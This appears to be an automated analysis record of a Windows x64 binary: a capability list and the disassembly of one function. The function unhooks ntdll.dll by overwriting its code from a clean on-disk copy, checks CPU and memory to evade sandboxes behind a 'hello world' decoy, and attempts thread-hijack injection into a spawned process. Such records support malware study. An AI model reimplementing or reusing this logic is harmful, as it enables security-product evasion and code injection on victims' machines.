Function at 0x1400017f0
Capabilities:
Enumerate threads
Get memory capacity
Get system information on windows
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x100
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov r12d, 1
mov dword [rbp - 0x69], r12d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x48], xmm0
mov qword [rbp - 0x71], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea r9d, [r12 + 0x17]
lea r8, [rsp + 0x48]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov r14, qword [rsp + 0x48]
xor r13d, r13d
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r12d
mov ebx, 0x80000000
mov edx, ebx
lea rcx, str.c:WindowsSystem32_ntdll.dll
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor r8d, r8d
lea edx, [r12 + 3]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r15, rax
movsxd rsi, dword [r14 + 0x3c]
add rsi, r14
movzx edi, r13w
cmp r13w, word [rsi + 6]
jae 0x140001983
lea r13, str..text
movzx eax, di
lea rdx, [rax + rax*4]
movzx ecx, word [rsi + 0x14]
add rcx, rsi
lea rbx, [rcx + rdx*8]
xor eax, eax
nop word [rax + rax]
movzx ecx, byte [rbx + rax + 0x18]
inc rax
cmp cl, byte [rax + r13 - 1]
jne 0x14000196e
cmp rax, 6
jne 0x140001910
mov dword [rbp - 0x69], 0
mov edx, dword [rbx + 0x20]
mov ecx, dword [rbx + 0x24]
add rcx, r14
lea r9, [rbp - 0x69]
lea r8d, [rax + 0x3a]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + r15]
lea rcx, [rax + r14]
call sub.VCRUNTIME140.dll_memcpy
mov edx, dword [rbx + 0x20]
mov ecx, dword [rbx + 0x24]
add rcx, r14
lea r9, [rbp - 0x69]
mov r8d, dword [rbp - 0x69]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
inc di
cmp di, word [rsi + 6]
jb 0x1400018f1
xor r13d, r13d
mov ebx, 0x80000000
mov rax, qword [0x1400078c8]
cmp byte [rax + 2], r12b
je 0x140001c18
lea rcx, [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp - 0x29], 2
jbe 0x140001c18
lea rcx, [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp qword [rbp - 0x11], rbx
jbe 0x140001c18
call fcn.1400011e0
mov r15, rax
test rax, rax
jne 0x1400019f1
lea rdx, str.failed_to_create_process
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001d40
mov rcx, rax
lea rdx, [0x140001f10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001c2b
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov r14d, eax
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x61], xmm1
mov rsi, r13
mov qword [rbp - 0x51], r13
mov dword [rbp - 0x69], r12d
mov dword [rbp - 0x49], 0x1c
xor edx, edx
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001a31
mov rdi, qword [rbp - 0x59]
jmp 0x140001aad
lea rdx, [rbp - 0x49]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Thread32First]
mov rdi, qword [rbp - 0x59]
test eax, eax
je 0x140001aa3
cmp dword [rbp - 0x3d], r14d
jne 0x140001a92
mov r8d, dword [rbp - 0x41]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140001a92
cmp rdi, rsi
je 0x140001a79
mov qword [rdi], rax
add rdi, 8
mov qword [rbp - 0x59], rdi
jmp 0x140001a92
lea r8, [rsp + 0x40]
mov rdx, rdi
lea rcx, [rbp - 0x61]
call fcn.140001f70
mov rsi, qword [rbp - 0x51]
mov rdi, qword [rbp - 0x59]
lea rdx, [rbp - 0x49]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x140001a46
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov r14, qword [rbp - 0x61]
cmp r14, rdi
jne 0x140001ae7
lea rdx, str.no_threads_found_for_process
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001d40
mov rcx, rax
lea rdx, [0x140001f10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001bd7
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
mov qword [rbp - 0x71], r13
sub rdi, r14
mov rbx, rdi
sar rbx, 3
test rbx, rbx
je 0x140001b8e
movabs rax, 0x1fffffffffffffff
cmp rbx, rax
ja 0x140001c61
lea rbx, [rbx*8]
cmp rbx, 0x1000
jb 0x140001b5a
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140001c5b
call fcn.140002130
mov rcx, rax
test rax, rax
je 0x140001b53
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001b6c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rbx, rbx
je 0x140001b69
mov rcx, rbx
call fcn.140002130
jmp 0x140001b6c
mov rax, r13
mov qword [rsp + 0x48], rax
mov qword [rbp - 0x79], rax
add rbx, rax
mov qword [rbp - 0x71], rbx
mov r8, rdi
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp - 0x79], rbx
lea rdx, [rsp + 0x48]
mov rcx, r15
call fcn.140001570
test eax, eax
je 0x140001bc4
lea rdx, str.failed_to_hijack_thread
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001d40
mov rcx, rax
lea rdx, [0x140001f10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001bd7
call fcn.1400011e0
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov r12d, r13d
test r14, r14
je 0x140001c2b
sub rsi, r14
and rsi, 0xfffffffffffffff8
mov rax, r14
cmp rsi, 0x1000
jb 0x140001c0b
add rsi, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c0b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rsi
mov rcx, r14
call fcn.14000216c
jmp 0x140001c2b
lea rdx, str.hello_world
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001d40
mov eax, r12d
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140002110
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001120
nop
call fcn.140001f50
int3